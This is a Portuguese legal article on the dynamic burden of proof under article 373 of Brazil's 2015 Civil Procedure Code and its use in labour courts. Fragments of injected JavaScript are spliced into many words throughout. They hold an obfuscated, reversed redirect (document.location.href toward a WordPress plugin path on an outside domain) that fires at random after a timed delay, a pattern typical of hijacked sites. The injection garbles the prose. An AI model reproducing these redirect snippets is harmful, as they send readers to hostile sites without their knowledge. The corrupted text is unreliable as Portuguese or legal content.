Juiz pode atribuir o encargo probatório ao litigante que possa desempenhá-lo com maior facilidade, ignorandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ando por completoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a posição por este ocupada, se reclamante ou reclamado

Por Mariana Oliveira Nóbrega

Juridicamente falandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ando, provar é demonstrar por toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}todos os meios lícitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos a verdade dos fatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos alegados. Na visão de Giuseppe Chiovenda, provar significa formar a convicção do juiz sobre a existência ou não de fatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos relevantes ao processo. Seja no processo cível, no processo penal, ou no processo trabalhista, a finalidade da prova será convencer o juiz, a respeitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dos fatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos da causa.

A prova ocupa posição de relevo no processo, uma vez que de nada adianta afirmar a existência de um direitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to em juízo, e dele pretender extrair consequências jurídicas, se as partes não conseguem influir efetivamente no convencimentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do magistrado acerca da veracidade dos fatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos. Neste sentido, a questão da distribuição do ônus da prova está ligada à efetiva garantia de acesso ao Judiciário e à prestação de uma tutela jurisdicional qualificada.

Quandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ando tratamos de “ônus” no processo, devemos entendê-lo não como uma obrigação ou um dever – uma vez que sua inobservância não acarreta na aplicação de penas ou sanções –, mas sim como encargo que se atribui a um sujeitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, que tem interesse em observá-lo, a fim de evitar consequências jurídico-processuais decorrentes de sua inércia.

A distribuição dos encargos probatórios no direitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to processual do trabalho está regrada no artigo 818 da CLT, que atribui àquele que alega a incumbência de provar. A doutrina convencionou chamar essa forma de partilha dos encargos probatórios como “distribuição estática do ônus da prova”, onde a norma define expressamente quais as incumbências de cada uma das partes. Este tipo de distribuição também poderia ser encontrada no artigo 333 do Código de Processo Civil de 1973, que dispunha: “o ônus da prova incumbe:

I – ao autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, quantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ao fatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to constitutivo do seu direitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to;
II – ao réu, quantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to à existência de fatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to impeditivo, modificativo ou extintivo do direitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor”.
Esta era a regra geral no mundo do direitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.

Contudo, esta regra não conseguia ser plenamente eficaz. Por exemplo: que prova pode o Demandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andante colher para demonstrar que jamais contratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tou serviço de seguro, numa relação de consumo? Ou, quais provas devem ser apresentadas por uma empresa para demonstrar que sequer conhece o reclamante que pleiteia vínculo empregatício?

É neste ínterim que se viu a necessidade da criação de uma regra que possibilitasse a redistribuição dos encargos da prova a depender das dificuldades reais de caso concretoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, uma vez observada certas dificuldades enfrentadas por aquele que alegou um fatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to em prová-lo ao juiz.
Com o adventoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do novo Código de Processo Civil, a partir da lei 13.105 de 16 de março de 2015, houve uma expressiva modificação na aplicação das regras que distribuem o ônus da prova, sendo introduzido no parágrafo primeiro do artigo 373 a teoria da dinamização da distribuição ônus probatório.

Por esta, após verificada a impossibilidade ou extrema dificuldade em que se encontra o autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, ou o réu, de provar suas alegações, o Juiz poderá atribuir diretamente a tarefa do encargo probatório ao adversário. Ou seja, para a aplicação deste institutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, o juiz, como reitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor do processo, deve ter a sensibilidade, à luz das circunstâncias do caso concretoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, de atribuir o encargo probatório ao litigante que possa desempenhá-lo com maior facilidade, ignorandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ando por completoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a posição por este ocupada (reclamante ou reclamado).

Esta teoria baseia-se no dever de cooperação entre os sujeitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos processuais, possibilitandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ando às partes mais uma oportunidade de influenciar na convicção do julgador.

Contudo, quandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ando trata da distribuição dinâmica dos encargos probatórios, a doutrina processualista civil prevê a aplicação deste institutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to durante a fase de saneamentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do processo, fase esta que, em virtude do princípio da celeridade, um dos princípios máximos da jurisdição trabalhista, não foi recepcionado pelo processo do trabalho.

Abra-se então o questionamentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to: quandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ando deverá o Juiz aplicar a redistribuição dos encargos? Estudiosos do direitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sustentam que a aplicação da distribuição dinâmica o ônus da prova no processo trabalhista deve ocorrer na fase de instrução processual, sempre antes do encerramentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to desta fase processual, e não na fase de julgamentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, estimulandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ando uma produção mais robusta, diminuindo a possibilidade de inexistência ou de insuficiência de provas necessárias. Isso porque, deve ser dada a oportunidade à parte agora onerada pela dinamização de alegar se de fatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tem ou não tem melhores condições de produzir a prova.

Assim, mesmo que haja prejuízo ao princípio da celeridade, nestes casos deve ser dada prevalência à justiça da decisão do méritoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, buscandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ando-se um julgamentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pautado nas provas efetivamente produzidas, e não na aplicação das regras formais de distribuição dos encargos (distribuição estática).